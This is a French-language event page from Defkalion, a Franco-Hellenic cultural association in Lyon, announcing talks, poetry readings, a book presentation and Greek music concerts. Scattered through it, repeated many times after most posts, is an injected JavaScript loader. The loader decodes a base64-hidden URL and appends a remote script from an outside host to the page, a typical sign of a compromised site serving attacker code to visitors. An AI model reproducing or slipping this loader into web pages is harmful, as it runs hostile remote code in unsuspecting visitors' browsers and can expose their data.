Olga Votsi – 16 mars 2019

Présentation PowerPoint

 

Defkalion_16_mars_Olga_Votsi-1 Defkalion_16_mars_Olga_Votsi-2 Defkalion_16_mars_Olga_Votsi-3(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Istanbul-Constantinople : mémoires d’un cosmopolitisme disparu

téléchargement (1)

Conférences – événement

Istanbul-Constantinople : mémoires d’un cosmopolitisme disparu

Samedi 2 juin 2018, 18h00

Bibliothèque Marie Curie INSA Lyon – Amphithéâtre Emilie du Châtelet

31 avenue Jean Capelle, 69100 Villeurbanne

face arrêt INSA-Einstein, Tram T1

 

DEFKALION, association culturelle franco-hellénique vous invite à assister aux conférences de

Costas Stamatopoulos et Alexandros Massavetas spécialement venus de Grèce.

 

Costas Stamatopoulos

L’après Byzance : la communauté grecque de Constantinople entre 1453 et le milieu du XVIIe siècle

Alexandros Massavetas

Retour à Constantinople-Istanbul des 19ème et 20ème siècles : de la capitale des minorités  à une ville des absents

 

Un verre d’amitié sera offert à l’issue des conférences

Costas M. Stamatopoulos a commencé ses études d’Histoire à Lyon. Il a poursuivi avec un doctorat de 3ème cycle à la Sorbonne en Histoire byzantine. De retour en Grèce, il a enseigné à l’université Aristote de Thessalonique, ainsi qu’à des écoles de journalisme et s’est distingué surtout par ses ouvrages sur l’hellénisme de Constantinople pοst-byzantin et moderne. Deux de ses ouvrages ont été couronnés par l’Académie d’Athènes. Une deuxième étape de sa vie a été son œuvre monumentale sur Tatoï, ancien domaine royal aux portes d’Athènes. Il est à ce jour l’auteur d’une quinzaine d’ouvrages – dont cinq sur l’hellénisme constantinopolitain et un rédigé en français – et de plusieurs dizaines d’articles scientifiques. Par ailleurs, depuis un grand nombre d’années, il est à la tête de l’organisation environnementale la plus importante de Grèce, la seule à s’occuper de la sauvegarde du patrimoine architectural du pays.

Alexandros Massavetas est né et a grandi à Athènes. Il a étudié le droit à Athènes et à Cambridge, il exerce comme journaliste depuis 2003. Au cours de cette année, il s’est installé à Istanbul, où il a habité jusqu’en 2015. Il a écrit deux livres sur la ville et un sur l’Asie Mineure. Son premier livre, «La ville des Absents» a remporté le Prix National Grec de Chroniques – Témoignages – Récits de voyage, en 2012. Son deuxième livre, «Asie Mineure : palimpseste de la mémoire», a reçu le Prix de la Fondation Kalfioti en 2015. Son troisième livre, «Dans les quartiers inconnus de la Corne d’or» est publié en 2017. Actuellement, il vit à Athènes.

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Poétesse grecque: Démétra Christodoulou et son traducteur Michel Volkovitch

Christodoulou

Venez féliciter notre ami traducteur Michel Volkovitch, ami des lettres et de poésies grecques pour sa nomination comme Grand Commandeur de la Légion d’Honneur grecque par le Président de la République grecque

Féliciter également notre poétesse grecque Démétra Christodoulou pour le prix Jean Moréas décerné pour son recueil de poésie le « Village Côtier »

 

le samedi 17 mars 2018 à 19h00

à l’Amphithéâtre René Char, Bâtiment la Rotonde, INSA Lyon,

20, avenue des Arts, 69100 Villeurbanne

Trams T1 et T4, arrêt La Doua Gaston Berger

dans le cadre du Printemps des Poètes et en partenariat avec le Service Culturel de l’INSA, pour  fêter la poésie et les poètes pour la onzième année consécutive.

Lectures de poèmes dans les deux langues par des élèves de Théâtre-Etudes en dialogue avec la musique par des élèves de Musique-Etudes de l’INSA.

Livret bilangue disponible

Démétra Ch. Christodoulou est née à Athènes en 1953. Elle a étudié le droit et la littérature. Elle a travaillé jusqu’à sa retraite en tant que professeur phililogue en éducation secondaire publique. Elle a publié treize livres de poésie, une prose et une traduction de la poésie grecque lyrique. Son livre des traductions de drame ancien est en cours de préparation.

Sa poésie a été traduite en plusieurs langues.

Elle a reçu le Prix d’Etat pour la poésie, «Famine » 2008 et le prix de poésie du magazine littéraire électronique «Lecteur» 2014 pour le «Pain minimum de conscience».

Michel Volkovitch est né en 1947 à Paris.Études de lettres et d’anglais.Enseigne la traduction littéraire à Paris et Bruxelles A traduit des prosateurs (Taktsis, Hadzis, Cheimonas, Koumandarèas, Ioànnou, Hàkkas, Mìssios, Karystiàni, Zatèli, Sotiròpoulos, Màrkaris…), des auteurs de théâtre (Anagnostàki, Dimitriàdis, Maniòtis, Kaloyeropoùlou…) et plus de cent poètes (Sakhtoùris, Dimoula, Papadìtsas, Sinòpoulos, Patrìkios, Karoùzos, Liondàkis, Fostièris, Ganas, Pascàlis…) ainsi que des chants populaires et des chansons rebètika. Il est l’auteur de plusieurs anthologies de poésie grecque contemporaine. A publié la série des Cahiers grecs consacrée à la poésie. A reçu le prix de traduction poétique Nelly-Sachs en 1996 et quatre autres prix de traduction.Est également l’auteur de huit livres publiés. Plusieurs de ses traductions se trouvent sur le site volkovitch.com(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Edition bilangue poésie 2018

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Présentation du livre “Contes des sages de la Grèce Antique” par Patrick Fischmann – 26 janvier

Defkalion a le plaisir d’inviter Patrick Fischmann pour présenter son livre:
thumbnailContes des sages de la Grèce Antique

le 26 janvier 2018 de 19h30 à 21h30

dans les locaux de l’IUT Lyon 1
17 rue de France (métro Gratte Ciel, Villeurbanne),
dans l’amphithéâtre 1, bâtiment A.
(Possibilité d’utiliser le parking de l’IUT, 100 places, gratuit-> http://plan.univ-lyon1.fr/plans/iutb_detail.html)

Ecrivain, poète et conteur, Patrick Fischmann réveille et rassemble des contes du monde entier. Son intention de transmettre la poésie des mots à travers l’oralité et l’écrit, révèle une parole riche et généreuse. Chanteur et compositeur multi-instrumentiste, attentif à la mélodie de chaque sagesse, il participe, avec joie et sensibilité, au réensemencement multiculturel et spirituel par les contes. Traduit en anglais, italien, chinois et mongol, il a publié quatorze recueils dans la collection des Contes des Sages dont les “Contes des sages de la Grèce antique”.

Présentation des ” Contes des sages de la Grèce Antique ”

Ce recueil nous porte au cœur de la pensée ancienne, dans un entrelacs de récits mythologiques, d’échos, dialogues et métaphores passés au souffle des sages qui inventèrent la philosophie.

On rencontre Dionysos, Thésée, Pan, Chiron, Héraclite, Socrate et Épicure. On suit Diogène dans les rues d’Athènes et le dieu gouailleur Momos. On entend les voix sublimes d’Orphée, d’Apollon, d’Arion, de Sapho. On contemple la beauté d’Aphrodite et l’on voit paraître l’Odyssée. Diotimée la devineresse nous invite dans sa grotte. Platon, Aristote, Empédocle nous parlent. Et Gygès, Eratosthène, Pythagore, Périclès, Hercule, Anaxagore… Puis, les Muses et les nymphes nous conduisent vers Pygmalion, qui met au monde l’âme de la Grèce.

Un voyage ingénieux et coloré où le miroir des dieux et des héros se reflète dans l’esprit des philosophes. L’auteur y réveille l’antique sagesse pour réensemencer notre vision du monde.

Patrick Fischmann signe ici son douzième titre dans la collection des Contes des sages. Un livre tout en finesse, servi par une iconographie somptueuse.

Au plaisir de vous y retrouver,thumbnail (1)(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Concert de musique traditionnelle grecque – Gkintiki

 Chères adhérentes, chers adhérents, chères amies, chers amis,
 
 Defkalion vous invite pour une folle soirée dansante le samedi 3 février 2018, à partir de 20H

Salle de la Garenne, 60 av. du Général Eisenhower 69005 Lyon.

Musique traditionnelle grecque en présence de quatre jeunes et très talentueux musiciens
venant spécialement de Grèce du groupe
Gkintiki
avec
Tasos Kofodimos, luth, chant
Konstantinos Lazos, gaïda, guitare, clarinette
Christos Danas, violon
Kostantis Papakonstantinou, percussion
téléchargement
Gkintiki est un groupe de musique basé à Thessalonique, créé en 2014 ayant plusieurs apparitions à son actif. Leurs références, provenant de la musique traditionnelle grecque et du rébétiko sont entrelacées avec celles de la création moderne musicale. Depuis trois ans les Gkintiki expérimentent le réarrangement des chansons traditionnelles et ont entrainé beaucoup de jeunes, et pas seulement, à danser avec leurs âmes un peu partout en Grèce. Ils sont toujours très enthousiastes avec une envie renouvelée de faire danser et faire festoyer leur public. En septembre dernier, ils ont fait leur première apparition à l’étranger, en Allemagne et en février 2018 seront invités à Lyon, dans notre ville, par Defkalion.

 Restauration sur place, dessert offert 

Entrée: adhérent.e.s et étudiant.e.s 15€

              non-adhérent.e.s 18€
Assiette sur précommande: 7€

Réservation et règlement obligatoires!

Nouveauté! Réservation et adhésion en ligne
http://www.lepotcommun.fr/billet/37co9j40
Confirmation immédiate et règlement sécurisé par carte bancaire

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Rebetien : le blues grec à Lyon

Defkalion Association Culturelle Franco-Hellénique vous souhaite une excellente rentrée et vous donne rendez-vous :

le 7 octobre 2017 à L’Agora, INSA Lyon(*)

accueil à partir 19h30 pour une soirée Rébétiko !!

Rebetien : le blues grec à Lyon

Defkalion en partenariat avec le Service Culturel de l’INSA, la Maison des Cultures du Monde, dans le cadre du 21ème Festival de l’Imaginaire, invite le groupe Rebetien composé de quatre talentueux musiciens venant spécialement de Grèce

Konstantinos Kostakis : guitare, chant

Fotis Vergopoulos : bouzouki, chant

Giannis Zarias : violon, baglamas

Avgerini Gatsi : accordéon, chant

 (*)Agora, INSA Lyon, 1 rue des Humanités, 69000 Villeurbanne,  Arrêt Gaston Berger Trams T1 ou T4

Réservation obligatoire par SMS au 07 71 21 50 69

Entrée 15€      Adhérents 13€

« Apparue dans les années 1920 au Pirée, le port d’Athènes, le rébétiko est une musique populaire, et à l’origine un écho des marginaux et des déracinés (de l’Asie Mineure). En rejet d’une société athénienne élitiste, les premiers créateurs faisaient éclore une idéologie anti-bourgeoise, un mode de vie rebet (« rebelle ») basé sur l’honneur, l’espièglerie et la simplicité. Néanmoins, au fil du temps, le répertoire est devenu plus consensuel, privilégiant davantage les thèmes universels de l’amour et de la douleur de la séparation que l’apologie de la décadence.

Rebetien renoue avec la tradition acoustique, ouverte aux influences, du rébétiko : les créations de ces quatre musiciens accueillent des sonorités des îles grecques, de Polis (Istanbul) ou des Balkans. En combinant leur large instrumentarium au gré de leurs expérimentations, et en se laissant libres d’improviser, les Rebetien cultivent un style singulier, et des atmosphères autant mélancoliques et romantiques que dynamiques et dansantes. Le groupe tient à rester proche de sa principale source d’inspiration, le fondement du rébétiko : la vie quotidienne. C’est pourquoi il joue régulièrement dans les tavernes athéniennes, sans bouder pour autant les salles de spectacles, où il apporte avec lui le parfum des bars du Pirée. » (6 octobre 2017, Vitré, Centre culturel Jacques Duhamel)

Pour en savoir plus à propos de Rébétiko :

https://transposition.revues.org/969

« Définir le peuple et sa musique : les débats sur le rebetiko dans la presse de gauche pendant et après la guerre civile grecque (1946-1961) » de Panagiota Anagnostou

Droit d’auteur © association Transposition. Musique et Sciences Sociales

 

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Edition bilangue de poésie 2017

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();